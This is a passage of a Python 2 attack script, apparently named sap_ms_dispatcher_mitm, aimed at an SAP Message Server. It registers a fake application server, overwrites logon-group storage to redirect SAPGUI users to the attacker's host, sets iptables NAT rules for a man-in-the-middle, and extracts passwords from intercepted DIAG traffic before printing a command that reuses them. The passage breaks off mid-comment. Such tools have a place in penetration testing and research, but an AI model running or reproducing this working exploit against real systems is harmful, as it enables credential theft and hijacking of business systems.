| as_name += ' '*num_space 133 | return as_name 134 | 135 | def ms_build_del_logon_by_type(type): 136 | return SAPMS(toname=msg_server_name, 137 | fromname=my_name, 138 | flag='MS_REQUEST', 139 | iflag='MS_SEND_NAME', 140 | opcode='MS_DEL_LOGON', 141 | logon=SAPMSLogon(type=type, 142 | logonname_length=0, 143 | prot_length=0, 144 | host_length=0, 145 | misc_length=0, 146 | address6_length=65535)) 147 | 148 | def ms_buld_prop_set_release(release = '745', patchno = '15' ): 149 | return SAPMS(toname=msg_server_name, 150 | flag='MS_REQUEST', 151 | fromname=my_name, 152 | opcode='MS_SET_PROPERTY', 153 | opcode_charset=0, 154 | property=SAPMSProperty(id='Release information', 155 | release=release, 156 | patchno=int(patchno), 157 | platform=390)) 158 | 159 | 160 | def ms_build_set_logon(ptype, serv_info): 161 | if ptype == 'diag': 162 | logon_type = 'MS_LOGON_DIAG' 163 | port = serv_info['diag_port'] 164 | elif ptype == 'rfc': 165 | logon_type = 'MS_LOGON_RFC' 166 | port = serv_info['rfc_port'] 167 | address = serv_info['ip'] 168 | host = serv_info['fqdn'] 169 | 170 | p = SAPMS(fromname=my_name, 171 | toname=msg_server_name, 172 | flag='MS_REQUEST', 173 | iflag='MS_SEND_NAME', 174 | opcode='MS_SET_LOGON', 175 | logon=SAPMSLogon(type=logon_type, 176 | port=port, 177 | address=address, 178 | logonname_length=0, 179 | prot_length=0, 180 | host_length=len(host), 181 | host=host, 182 | misc_length=4, 183 | misc='LB=9'))/Raw(load="\xff\xff") 184 | return p 185 | 186 | # 187 | # Print and if required send an answer to 188 | # the received packet 189 | # s: SAPNISocket 190 | # p: received SAPMS packet 191 | # 192 | def handle_answer(s, p): 193 | fromname = p.fromname 194 | try: 195 | flag = ms_flag_values[p[SAPMS].flag] 196 | except: 197 | flag = "0" 198 | try: 199 | opcode = str(ms_opcode_values[p[SAPMS].opcode]) 200 | except: 201 | opcode = str(p[SAPMS].opcode) 202 | try: 203 | opcode_err = str(ms_opcode_error_values[p[SAPMS].opcode_error]) 204 | except: 205 | opcode_err = 'None' 206 | 207 | if opcode_err == 'MSOP_OK': 208 | opcode_err = green(opcode_err) 209 | else: 210 | opcode_err = red(opcode_err, bold=True) 211 | 212 | if p.key != null_key: 213 | key = " key: " + yellow('NOT NULL', bold=True) 214 | logger.error("[!] Out of order packets, reload this script.") 215 | #s.close() 216 | #exit(0) 217 | else: 218 | key = "" 219 | 220 | logger.info("flag: " + cyan(flag) + " opcode:" + cyan(opcode) + \ 221 | " opcode_error: " + green(opcode_err) + key) 222 | 223 | 224 | def as_print(as_d, active=True): 225 | print "-"*120 226 | for a in as_d.keys(): 227 | if active and as_d[a]['status'] != 1: # ACTIVE 228 | continue 229 | print ("%s" % a).ljust(30) + "| " + \ 230 | ("%s" % as_d[a]['host']).ljust(20) + "| " + \ 231 | ("%s" % as_d[a]['ip']).ljust(16) + "| " + \ 232 | ("%s" % as_d[a]['port']).ljust(8) + "| " + \ 233 | ("%s" % as_d[a]['type']).ljust(27) + "| " + \ 234 | ("%s" % as_d[a]['status']) 235 | print "-"*120 236 | 237 | def ms_connect(mshost, msport, login_packet): 238 | try: 239 | s = SAPNIStreamSocket.get_nisocket(mshost, msport) 240 | except socket.error: 241 | logger.error("[!] Connection error to %s:%s" % (mshost, msport)) 242 | exit(-1) 243 | logger.info("[+] Sending MS_LOGIN_2") 244 | r = s.sr(login_packet) 245 | handle_answer(s, r) 246 | return s 247 | 248 | def ms_logout(s): 249 | logger.info("[+] Sending MS_LOGOUT") 250 | try: 251 | s.send(p_logout) 252 | s.close() 253 | except: 254 | logger.error("Socket error when sending MS_LOGOUT") 255 | 256 | 257 | # Send a sequence of 3 packets to get the list of application servers 258 | # registered to the message server This is called anonymous because 259 | # fromname is '-' 260 | def ms_get_server_list_anon(s): 261 | as_list_d = dict() 262 | for p in p_get_server_list_l: 263 | logger.info("[+] Sending %s" % ms_opcode_values[p.opcode]) 264 | s.send(p) 265 | r = s.recv() 266 | 267 | if not r.clients: 268 | logger.info("[!] Answer doesn't contain server list.") 269 | #s.close() 270 | return as_list_d # dict() 271 | 272 | handle_answer(s, r) 273 | for c in r.clients: 274 | as_list_d[c.client.strip()] = {"host": c.host.strip(), 275 | "ip": c.hostaddrv4, 276 | "port": c.servno, 277 | "type": c.sprintf('%SAPMSClient4.msgtype%'), 278 | "status": ms_client_status_values[c.status]} 279 | return as_list_d 280 | 281 | # This is a slighty different packets for getting server list when we 282 | # are not anonymous anymore 283 | def ms_get_server_list(s, key): 284 | as_list_d = dict() 285 | p = SAPMS(fromname=my_name, 286 | toname=msg_server_name, 287 | key=key, 288 | flag='MS_REQUEST', 289 | opcode='MS_SERVER_LST', 290 | opcode_error='MSOP_OK', 291 | opcode_version=104, 292 | opcode_charset=3) 293 | 294 | r = s.sr(p) 295 | 296 | if not r.clients: 297 | logger.error("[!] Answer doesn't contain server list.") 298 | #s.close() 299 | return as_list_d # dict() 300 | 301 | handle_answer(s, r) 302 | for c in r.clients: 303 | as_list_d[c.client.strip()] = {"host": c.host.strip(), 304 | "ip": c.hostaddrv4, 305 | "port": c.servno, 306 | "type": c.sprintf('%SAPMSClient4.msgtype%'), 307 | "status": ms_client_status_values[c.status]} 308 | return as_list_d 309 | 310 | # 311 | # Get the answer from a ADM_STRG_READALL_I and parse it like: 312 | # [ {server1: [int1, int2, ... int9], 313 | # [ 314 | # 315 | def parse_adm_readall_i(p): 316 | if not p.haslayer('SAPMSAdmRecord'): 317 | logger.error("Packet has no 'SAPMSAdmRecord'.") 318 | exit(-1) 319 | logger.info("[+] Dumping Integer Storage") 320 | records = dict() 321 | for e in p.adm_records: 322 | records[e.rzl_strg_name] = [e.rzl_strg_uptime, 323 | e.rzl_strg_integer1, 324 | e.rzl_strg_delay, 325 | e.rzl_strg_integer3, 326 | e.rzl_strg_users, 327 | e.rzl_strg_quality, 328 | e.rzl_strg_integer6, 329 | e.rzl_strg_integer7, 330 | e.rzl_strg_integer8, 331 | e.rzl_strg_integer9] 332 | 333 | # get back those 32 bits signed integers 334 | f = lambda x: x - 4294967296 if x > 0x7fffffff else x 335 | # pretty print that 336 | for r in records.keys(): 337 | tmp_r = map(f , records[r]) 338 | print green(r) + '\t: ' + '\t'.join([str(e) for e in tmp_r]) 339 | return records 340 | 341 | def parse_logon_group(v): 342 | marker, trash1, ip, trash2, port, kernel = struct.unpack('>9sbIIh4s', v[:24]) 343 | ip = struct.pack('!I', ip) 344 | return [inet_ntoa(ip), str(port), kernel] 345 | 346 | def parse_adm_readall_ofs(p): 347 | if not p.haslayer('SAPMSAdmRecord'): 348 | print "Packet has no 'SAPMSAdmRecord'." 349 | exit(-1) 350 | logger.info("[+] Dumping Text Storage") 351 | records = dict() 352 | for e in p.adm_records: 353 | name = e.rzl_strg_name 354 | value = str(e.rzl_strg_value) 355 | type_v = ms_adm_rzl_strg_type_values[e.rzl_strg_type] 356 | records[name] = (type_v, value) 357 | 358 | # pretty print that 359 | for r in records.keys(): 360 | if records[r][1].startswith('LG_EYECAT'): 361 | print red(r, bold=True) + '\t: ' + ' '.join(parse_logon_group(records[r][1])) 362 | elif records[r][0].endswith('_C'): 363 | print green(r) + '\t: ' + str(records[r][1]) 364 | return records 365 | 366 | def get_logon_groups(records): 367 | lg = dict() 368 | for r in records.keys(): 369 | if records[r][1].startswith('LG_EYECAT'): 370 | lg[r] = records[r][1] 371 | return lg 372 | 373 | def build_logon_group(ip, port, kernel): 374 | return 'LG_EYECAT' + '\x01' + inet_aton(ip) + '\x00\x00\x00\x00' + \ 375 | struct.pack('!h', port) + kernel + '\x00'*6 + (' '*5).encode('UTF-16-LE') 376 | 377 | def diag_grab_password(packet): 378 | if not packet.haslayer(SAPMS): 379 | return 380 | p=Packet() 381 | atoms = None 382 | try: 383 | p = SAPDiag(str(packet[SAPMS])) 384 | atoms = p[SAPDiag].get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") 385 | except: 386 | pass 387 | # Print the Atom items information 388 | if atoms: 389 | logger.info("[*] Input fields:") 390 | current_user = None 391 | current_pass = None 392 | for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: 393 | if atom.etype in [121, 122, 123, 130, 131, 132]: 394 | text = atom.field1_text or atom.field2_text 395 | text = text.strip() 396 | if not text: continue 397 | if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: 398 | logger.info("\tPassword field:\t%s" % green(text, bold=True)) 399 | current_pass = text 400 | else: 401 | logger.info("\tRegular field:\t%s" % (text)) 402 | current_user = text 403 | if current_user and current_pass: print "$ rfc_exec.py --host %s -S %s -C XXX -U '%s' -P '%s' -c info" % (attacked_as['ip'], '00', current_user, current_pass) 404 | 405 | def print_iptables_info(iface, old_ip, old_port, new_ip, new_port, comment): 406 | print 407 | print "Will run the following Linux commands to transparently redirect SAPGUI clients" 408 | print "to the real server" 409 | print "echo 1 > /proc/sys/net/ipv4/ip_forward" 410 | print "iptables -t nat -I PREROUTING -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 411 | (new_port, # my fake AS port 412 | new_ip, # my IP 413 | comment, # unique rule identifier 414 | old_ip, # real AS IP 415 | old_port) # real AS port 416 | print "iptables -t nat -I OUTPUT -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 417 | (new_port, # my fake AS port 418 | new_ip, # my IP 419 | comment, # unique rule identifier 420 | old_ip, # real AS IP 421 | old_port) # real AS port 422 | print "iptables -t nat -I POSTROUTING -o %s -m comment --comment \"%s\" -j MASQUERADE" % (iface, comment) 423 | 424 | def enable_iptables_redirect(iface, old_ip, old_port, new_ip, new_port, comment): 425 | ret1 = subprocess.call(["echo 1 > /proc/sys/net/ipv4/ip_forward"], shell=True) 426 | cmd = "iptables -t nat -I PREROUTING -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 427 | (new_port, 428 | new_ip, 429 | comment, # unique rule identifier 430 | old_ip, 431 | old_port) 432 | ret2 = subprocess.call(cmd.split(" ")) 433 | cmd = "iptables -t nat -I OUTPUT -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 434 | (new_port, # my fake AS port 435 | new_ip, # my IP 436 | comment, # unique rule identifier 437 | old_ip, # real AS IP 438 | old_port) # real AS port 439 | ret3 = subprocess.call(cmd.split(" ")) 440 | cmd = "iptables -t nat -I POSTROUTING -o %s -m comment --comment \"%s\" -j MASQUERADE" % (attacked_as['iface'], comment) 441 | ret4 = subprocess.call(cmd.split(" ")) 442 | if not [ret1, ret2, ret3, ret4] == [0, 0, 0, 0]: 443 | logger.error("You had a problem running one of those commands") 444 | print ret1, ret2, ret3, ret4 445 | exit(-1) 446 | 447 | def disable_iptables_redirect(iface, old_ip, old_port, new_ip, new_port, comment): 448 | ret1 = subprocess.call(["echo 0 > /proc/sys/net/ipv4/ip_forward"], shell=True) 449 | cmd = "iptables -t nat -D PREROUTING -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 450 | (new_port, 451 | new_ip, 452 | comment, # unique rule identifier 453 | old_ip, 454 | old_port) 455 | ret2 = subprocess.call(cmd.split(" ")) 456 | cmd = "iptables -t nat -D OUTPUT -p tcp --dport %s -d %s -m comment --comment \"%s\" -j DNAT --to %s:%s" % \ 457 | (new_port, # my fake AS port 458 | new_ip, # my IP 459 | comment, # unique rule identifier 460 | old_ip, # real AS IP 461 | old_port) # real AS port 462 | ret3 = subprocess.call(cmd.split(" ")) 463 | cmd = "iptables -t nat -D POSTROUTING -o %s -m comment --comment \"%s\" -j MASQUERADE" % (attacked_as['iface'], comment) 464 | ret4 = subprocess.call(cmd.split(" ")) 465 | if not [ret1, ret2, ret3, ret4] == [0, 0, 0, 0]: 466 | logger.error("You had a problem running one of those commands") 467 | print ret1, ret2, ret3, ret4 468 | exit(-1) 469 | 470 | def ask_logon_group_to_hijack(lg_init): 471 | if len(lg_init.keys()) == 0: 472 | logger.info("This server does not have any Logon Groups defined.") 473 | logger.info("It is thus impossible to takeover any dispatcher via Message Server.") 474 | exit(0) 475 | if len(lg_init.keys()) > 1: 476 | print 477 | print "[+] Select logon group to take over" 478 | for lg in lg_init.keys(): 479 | print "\t%s: %s" % (lg_init.keys().index(lg), lg) 480 | lg_to_mitm = int(raw_input("Enter number: ")) 481 | if lg_to_mitm not in range(0, len(lg_init.keys())): 482 | print "Invalid entry" 483 | exit(0) 484 | lg_name = lg_init.keys()[lg_to_mitm] 485 | else: lg_name = lg_init.keys()[0] 486 | return lg_name 487 | 488 | def extract_serv_ver(r, substr, l): 489 | return r[r.index(substr)+len(substr):r.index(substr)+len(substr)+l] 490 | 491 | ######################### 492 | # GLOBAL PACKETS / VARS # 493 | ######################### 494 | 495 | sleep = 1 496 | # that's you 497 | short_host = "sapdev%.4d" % (random.randint(0, 9999)) 498 | fake_as = {"ip": net_get_ip(), 499 | "host": short_host, 500 | "diag_port": 3200, 501 | "rfc_port": 3300, 502 | "fqdn": "%s.fake.tld" % short_host} 503 | 504 | # that's our target we want to pwn 505 | attacked_as = {"ip": "172.16.100.50", 506 | "msport": 3901, 507 | "sid": "CIA", 508 | "instance": "00", 509 | "iface": None, 510 | "release":"745", 511 | "patchno":"15"} 512 | 513 | 514 | my_name = gen_ms_servername(fake_as["host"], attacked_as["sid"], attacked_as["instance"]) 515 | #attacked_name = gen_ms_servername(attacked_as["host"], attacked_as["sid"], attacked_as["instance"]) 516 | anon_name = '-' + ' '*39 517 | msg_server_name = 'MSG_SERVER' # \x00MsgServer\x00FN_CHECK\x00FN_TP\x00tp$(' 518 | null_key = "\x00" * 8 519 | 520 | p_logout = SAPMS(toname=anon_name, 521 | fromname=anon_name, 522 | flag=0, 523 | iflag='MS_LOGOUT') 524 | 525 | p_login_anon = SAPMS(toname=anon_name, 526 | fromname=anon_name, 527 | flag=0, 528 | iflag='MS_LOGIN_2') 529 | 530 | p_login_diag = SAPMS(toname=anon_name, 531 | fromname=my_name, 532 | msgtype='DIA+UPD+BTC+SPO+UP2+ICM', 533 | flag=0, 534 | iflag='MS_LOGIN_2', 535 | diag_port=fake_as['diag_port']) 536 | 537 | p_login_rfc = SAPMS(toname=anon_name, 538 | fromname=my_name, 539 | msgtype='DIA+UPD+BTC+SPO+UP2+ICM', 540 | flag=0, 541 | iflag='MS_LOGIN_2', 542 | diag_port=fake_as['rfc_port']) 543 | 544 | p_reload = SAPMS(toname=msg_server_name, 545 | fromname=anon_name, 546 | flag='MS_REQUEST', 547 | opcode='MS_FILE_RELOAD', 548 | opcode_version=1, 549 | opcode_charset=3, 550 | opcode_value="\x36") 551 | 552 | p_checkacl = SAPMS(toname=msg_server_name, 553 | fromname=anon_name, 554 | flag='MS_REQUEST', 555 | opcode='MS_CHECK_ACL', 556 | opcode_version=1, 557 | opcode_charset=0) 558 | 559 | p_kernel_info = SAPMS(toname=msg_server_name, 560 | flag='MS_REQUEST', 561 | fromname=my_name, 562 | opcode='MS_DUMP_INFO', 563 | dump_command='MS_DUMP_RELEASE', 564 | dump_dest=2, 565 | ) 566 | 567 | p_prop_set_release = SAPMS(toname=msg_server_name, 568 | flag='MS_REQUEST', 569 | fromname=my_name, 570 | opcode='MS_SET_PROPERTY', 571 | opcode_charset=0, 572 | property=SAPMSProperty(id='Release information', 573 | release='745', 574 | patchno=15, 575 | platform=390)) 576 | 577 | p_prop_set_service = SAPMS(fromname=my_name, 578 | toname=msg_server_name, 579 | flag='MS_REQUEST', 580 | iflag='MS_SEND_NAME', 581 | opcode='MS_SET_PROPERTY', 582 | opcode_version=1, 583 | opcode_charset=0, 584 | property=SAPMSProperty(client='', 585 | id='MS_PROPERTY_SERVICE', 586 | service=1))/Raw(load='\x07') 587 | 588 | p_get_server_list_l = [ SAPMS(fromname=anon_name, 589 | toname=msg_server_name, 590 | flag='MS_ONE_WAY', 591 | iflag='MS_SEND_NAME', 592 | opcode='MS_SERVER_LONG_LIST', 593 | opcode_version=1, 594 | opcode_charset=0), 595 | 596 | SAPMS(fromname=anon_name, 597 | toname=msg_server_name, 598 | flag='MS_ONE_WAY', 599 | iflag='MS_SEND_NAME', 600 | opcode='MS_SERVER_LONG_LIST', 601 | opcode_version=1, 602 | opcode_charset=0), 603 | 604 | SAPMS(fromname=anon_name, 605 | toname=msg_server_name, 606 | flag='MS_REQUEST', 607 | iflag='MS_SEND_NAME', 608 | opcode='MS_SERVER_LST', 609 | opcode_version=104, 610 | opcode_charset=3) ] 611 | 612 | p_mod_state = SAPMS(fromname=my_name, 613 | toname=anon_name, 614 | msgtype='DIA+ENQ', 615 | flag=0x08, 616 | iflag="MS_MOD_STATE") 617 | 618 | 619 | p_change_ip = SAPMS(fromname=my_name, 620 | toname=msg_server_name, 621 | flag='MS_REQUEST', 622 | iflag='MS_SEND_NAME', 623 | opcode='MS_CHANGE_IP', 624 | opcode_version=2, 625 | opcode_charset=0, 626 | change_ip_addressv4=fake_as["ip"], 627 | change_ip_addressv6='::ffff:' + fake_as["ip"]) 628 | 629 | p_set_ip_property = SAPMS(fromname=my_name, 630 | toname=anon_name, 631 | flag='MS_REQUEST', 632 | iflag='MS_SEND_NAME', 633 | opcode='MS_SET_PROPERTY')/SAPMSProperty(client=my_name, 634 | id='MS_PROPERTY_IPADR', 635 | address=fake_as['ip']) 636 | 637 | p_change_active = SAPMS(fromname=my_name, 638 | toname=anon_name, 639 | flag='MS_REQUEST', 640 | iflag='MS_MOD_STATE', 641 | msgtype='DIA') 642 | 643 | p_server_long_list = SAPMS(fromname=my_name, 644 | toname=msg_server_name, 645 | flag='MS_REQUEST', 646 | iflag='MS_SEND_NAME', 647 | opcode='MS_SERVER_LONG_LIST', 648 | opcode_version=1, 649 | opcode_charset=0) 650 | p_server_chg = SAPMS(fromname=my_name, 651 | toname=msg_server_name, 652 | flag='MS_REQUEST', 653 | iflag='MS_SEND_NAME', 654 | opcode='MS_SERVER_CHG', 655 | opcode_version=4, 656 | opcode_charset=0) 657 | 658 | p_get_hwid = SAPMS(fromname=my_name, 659 | toname=msg_server_name, 660 | flag='MS_REQUEST', 661 | iflag='MS_SEND_NAME', 662 | opcode='MS_GET_HWID', 663 | opcode_version=1, 664 | opcode_charset=0, 665 | hwid=struct.pack("!I", os.getpid())) 666 | 667 | 668 | # ADM STRG_TYPE_READALL_OFFSET_I 669 | # will dump the content of the file: 670 | # /usr/sap/SID/ASCS01/work/SID_msg_server_adtl_storage 671 | p_adm_readall_i = SAPMS(fromname=my_name, 672 | toname=anon_name, 673 | flag='MS_ADMIN', 674 | iflag='MS_ADM_OPCODES', 675 | key=null_key, # TODO: CHANGE THAT AT RUNTIME (previous key + 6) 676 | adm_recno=1, 677 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 678 | rzl_strg_type='STRG_TYPE_READALL_OFFSET_I', 679 | rzl_strg_name=' ', 680 | rzl_strg_uptime=7353, 681 | rzl_strg_delay=290, 682 | rzl_strg_integer3=7353)]) 683 | 684 | p_adm_readall_ofs = SAPMS(fromname=my_name, 685 | toname=anon_name, 686 | flag='MS_ADMIN', 687 | iflag='MS_ADM_OPCODES', 688 | key=null_key, 689 | adm_recno=1, 690 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 691 | rzl_strg_type='STRG_TYPE_READALL_OFFSET', 692 | rzl_strg_name=' ')]) 693 | 694 | p_adm_del_c = SAPMS(fromname=my_name, 695 | toname=anon_name, 696 | flag='MS_ADMIN', 697 | iflag='MS_ADM_OPCODES', 698 | key=null_key, 699 | adm_recno=1, 700 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 701 | rzl_strg_type='STRG_TYPE_DEL_C', 702 | rzl_strg_name_length=20, 703 | rzl_strg_name='FAV_COMPUTE_TIME' + 4*' ', 704 | rzl_strg_value=' '*40, 705 | rzl_strg_padd2=' '*40)]) 706 | 707 | p_adm_del_c2 = SAPMS(fromname=my_name, 708 | toname=anon_name, 709 | flag='MS_ADMIN', 710 | iflag='MS_ADM_OPCODES', 711 | key=null_key, 712 | adm_recno=1, 713 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 714 | rzl_strg_type='STRG_TYPE_DEL_C', 715 | rzl_strg_name_length=20, 716 | rzl_strg_name='FAV_COMPUTE_SERVER' + ' '*2, 717 | rzl_strg_value=' '*40, 718 | rzl_strg_padd2=' '*40)]) 719 | 720 | p_adm_del_c_lg = SAPMS(fromname=my_name, 721 | toname=anon_name, 722 | flag='MS_ADMIN', 723 | iflag='MS_ADM_OPCODES', 724 | key=null_key, 725 | adm_recno=1, 726 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 727 | rzl_strg_type='STRG_TYPE_DEL_C', 728 | rzl_strg_name_length=20, 729 | rzl_strg_name='SPACE' + 15*' ', 730 | rzl_strg_value=' '*40)]) 731 | 732 | p_adm_del_i = SAPMS(fromname=my_name, 733 | toname=anon_name, 734 | flag='MS_ADMIN', 735 | iflag='MS_ADM_OPCODES', 736 | key=null_key, 737 | adm_recno=1, 738 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 739 | rzl_strg_type='STRG_TYPE_DEL_I', 740 | rzl_strg_name_length=20, 741 | rzl_strg_name=my_name, 742 | rzl_strg_value=' '*40)]) 743 | 744 | 745 | 746 | p_adm_write_i = SAPMS(fromname=my_name, 747 | toname=anon_name, 748 | flag='MS_ADMIN', 749 | iflag='MS_ADM_OPCODES', 750 | key=null_key, 751 | adm_recno=1, 752 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 753 | rzl_strg_type='STRG_TYPE_WRITE_I', 754 | rzl_strg_name_length=20, 755 | rzl_strg_name=my_name, 756 | rzl_strg_uptime=86300, 757 | rzl_strg_integer1=7353, 758 | rzl_strg_users=1, 759 | rzl_strg_quality=1, 760 | rzl_strg_integer6=4294967245, 761 | rzl_strg_integer7=0, 762 | rzl_strg_integer9=3)]) 763 | 764 | p_adm_write_c_lg = SAPMS(fromname=my_name, 765 | toname=anon_name, 766 | flag='MS_ADMIN', 767 | iflag='MS_ADM_OPCODES', 768 | key=null_key, 769 | adm_recno=1, 770 | adm_records=[SAPMSAdmRecord(opcode='AD_RZL_STRG', 771 | rzl_strg_type='STRG_TYPE_WRITE_C', 772 | rzl_strg_name_length=20, 773 | rzl_strg_name=my_name, 774 | rzl_strg_value=' '*40)]) 775 | 776 | 777 | 778 | if __name__ == '__main__': 779 | signal.signal(signal.SIGINT, sigint_handler) 780 | parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) 781 | parser.add_argument('-H', '--host', default='172.16.100.50', help='AS victim IP (default: 172.16.100.50)') 782 | parser.add_argument('-P', '--port', default=3901, type=int, help='AS internal message server port (default: 3901)') 783 | parser.add_argument('-s', '--sid', default='CIA', help='AS victim SID (default: CIA)') 784 | parser.add_argument('-S', '--instance', default='00', help='AS victim targeted instance (default: 00)') 785 | parser.add_argument('--logon-group', help='Set a Logon Group value with dispatcher IP, port, kernel info encoded like \'GROUPNAME:IP:PORT:KERNEL\'') 786 | parser.add_argument('-x', '--delete', action='store_true', help='Delete logon-group indicated by --logon-group parameter') 787 | parser.add_argument('-d', '--debug', action='store_true', help='Show debug info') 788 | parser.add_argument('-q', '--quiet', action='store_true', help='Don\'t show any info messages') 789 | 790 | args = parser.parse_args() 791 | 792 | prog = 'sap_ms_dispatcher_mitm' 793 | if args.quiet: 794 | logger = init_logger(prog, logging.NOTSET) 795 | elif args.debug: 796 | logger = init_logger(prog, logging.DEBUG) 797 | else: 798 | logger = init_logger(prog, logging.INFO) 799 | 800 | # update our default conf with customized version: 801 | attacked_as["ip"] = args.host 802 | attacked_as["msport"] = args.port 803 | attacked_as["sid"] = args.sid 804 | attacked_as["instance"] = args.instance 805 | # get external interface for accessing this AS 806 | ip = socket.gethostbyname(args.host) 807 | r = subprocess.check_output(["ip", "route", "get", ip]) 808 | attacked_as["iface"] = re.search("dev (.*?) src", r).groups()[0].strip() 809 | 810 | print "[+] Attacking the following target:" 811 | print 812 | pprint(attacked_as) 813 | #print 814 | #raw_input("Go ?") 815 | 816 | conf.L3Socket = StreamSocket 817 | # SAPMS layer 818 | bind_layers(TCP, SAPNI) 819 | bind_layers(TCP, SAPNI) 820 | bind_layers(SAPNI, SAPMS) 821 | # SAPDIAG layer 822 | bind_layers(SAPDiagDP, SAPDiag,) 823 | bind_layers(SAPDiag, SAPDiagItem,) 824 | bind_layers(SAPDiagItem, SAPDiagItem,) 825 | 826 | # 1- Simple Login / Logout 827 | s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_anon) 828 | logger.debug("[+] Sending MS_LOGOUT") 829 | ms_logout(s) 830 | 831 | # 2- Login, ask to reload ACL file and check ACL 832 | #s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_anon) 833 | #logger.debug("[+] Sending MS_FILE_RELOAD") 834 | #r = s.sr(p_reload) 835 | #handle_answer(s, r) 836 | #logger.debug("[+] Sending MS_CHECK_ACL") 837 | #r = s.sr(p_checkacl) 838 | #handle_answer(s, r) 839 | #ms_logout(s) 840 | 841 | # 3- Login and get server list 842 | s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_anon) 843 | 844 | as_list_d = ms_get_server_list_anon(s) 845 | as_print(as_list_d, False) 846 | ms_logout(s) 847 | 848 | #3.5 - Getting kernel version 849 | logger.debug("[+] Sending MS_DUMP_RELEASE") 850 | s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_anon) 851 | r = s.sr(p_kernel_info) 852 | attacked_as["release"] = extract_serv_ver(r[SAPMS].opcode_value, 'kernel release = ', 3) 853 | attacked_as["patchno"] = extract_serv_ver(r[SAPMS].opcode_value, 'source id = 0.', 3) 854 | logger.debug("kernel={}, patch_nbr={}".format(attacked_as["release"], attacked_as["patchno"])) 855 | 856 | # 4- Login and set property with our release information 857 | # s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_anon) 858 | logger.debug("[+] Sending MS_SET_PROPERTY") 859 | r = s.sr(ms_buld_prop_set_release(attacked_as["release"], attacked_as["patchno"])) 860 | handle_answer(s, r) 861 | ms_logout(s) 862 | 863 | # 5- Login back now with our "service" name 864 | s = ms_connect(attacked_as["ip"], attacked_as["msport"], p_login_diag) 865 | 866 | logger.debug("[+] Sending MS_MOD_STATE") 867 | s.send(p_mod_state) 868 | 869 | # 6- Set IP address 870 | logger.debug("[+] Sending MS_CHANGE_IP") 871 | r = s.sr(p_change_ip) 872 | handle_answer(s, r) 873 | 874 | # 7- Set Logon information (RFC) 875 | logger.debug("[+] Sending MS_SET_LOGON (rfc)") 876 | r = s.sr(ms_build_set_logon("diag", fake_as)) 877 | handle_answer(s, r) 878 | 879 | r = s.sr(ms_build_set_logon("rfc", fake_as)) 880 | handle_answer(s, r) 881 | 882 | r = s.sr(ms_build_set_logon("rfc", fake_as)) 883 | handle_answer(s, r) 884 | 885 | # 8- Set the IP Address property 886 | logger.debug("[+] Sending MS_SET_PROPERTY (ip)") 887 | r = s.sr(p_set_ip_property) 888 | handle_answer(s, r) 889 | 890 | # 9- Set status to ACTIVE 891 | logger.debug("[+] Changing status to ACTIVE") 892 | s.send(p_change_active) 893 | 894 | 895 | # 10- Check that we are properly registered (AS dump) 896 | as_list_d = ms_get_server_list_anon(s) 897 | as_print(as_list_d, False) 898 | 899 | # 11- Dump msg_server storage file 900 | #p = p_adm_readall_i 901 | #r = s.sr(p) 902 | #records_i = parse_adm_readall_i(r) 903 | r = s.sr(p_adm_readall_ofs) 904 | records_ofs = parse_adm_readall_ofs(r) 905 | 906 | if args.logon_group: 907 | try: 908 | lg_name, ip, port, kernel = args.logon_group.split(':') 909 | except: 910 | logger.error("Format error in --logon-group parameter. Should be 'GROUPNAME:IP:PORT:KERNEL'") 911 | exit(-1) 912 | if args.delete: 913 | logger.info("Deleting logon group '%s'" % lg_name) 914 | p = p_adm_del_c_lg 915 | else: 916 | logger.info("Overwriting/creating logon group '%s'" % lg_name) 917 | p = p_adm_write_c_lg 918 | if len(lg_name) >20: logger.warning("Your Logon Group name will be truncated.") 919 | lg_name = lg_name[:20] 920 | lg_name_len = len(lg_name) 921 | p.adm_records[0].rzl_strg_name = lg_name[:20] + " "*(20-lg_name_len) 922 | p.adm_records[0].rzl_strg_name_length=lg_name_len 923 | if args.delete: 924 | p.adm_records[0].rzl_strg_value = ' '*40 925 | else: 926 | p.adm_records[0].rzl_strg_value = build_logon_group(ip, int(port), kernel) 927 | r = s.sr(p) 928 | 929 | time.sleep(1) 930 | r = s.sr(p_adm_readall_ofs) 931 | parse_adm_readall_ofs(r) 932 | 933 | logon_groups_init = get_logon_groups(records_ofs) 934 | lg_name = ask_logon_group_to_hijack(logon_groups_init) 935 | lg_value = logon_groups_init[lg_name] 936 | as_ip, as_port, kernel = parse_logon_group(lg_value) 937 | comment = "%s_%s_%s" % (lg_name.strip(), as_ip, as_port) 938 | print_iptables_info(attacked_as['iface'], as_ip, as_port, 939 | fake_as['ip'], fake_as['diag_port'], comment) 940 | raw_input(red("\nPress [Enter] when you are ready to MITM...", bold=True)) 941 | enable_iptables_redirect(attacked_as['iface'], as_ip, as_port, 942 | fake_as['ip'], fake_as['diag_port'], comment) 943 | 944 | # 12- Brace yourself, we remove main AS and put ours instead 945 | # Adding ourselves in the Integer part of storage 946 | r = s.sr(p_adm_write_i) 947 | p = p_adm_write_c_lg 948 | # and placing ourselves as the default dispatched in the asked Logon Group 949 | p.adm_records[0].rzl_strg_name = lg_name 950 | p.adm_records[0].rzl_strg_value = build_logon_group(fake_as['ip'], fake_as['diag_port'], kernel) 951 | r = s.sr(p) 952 | 953 | # Again showing 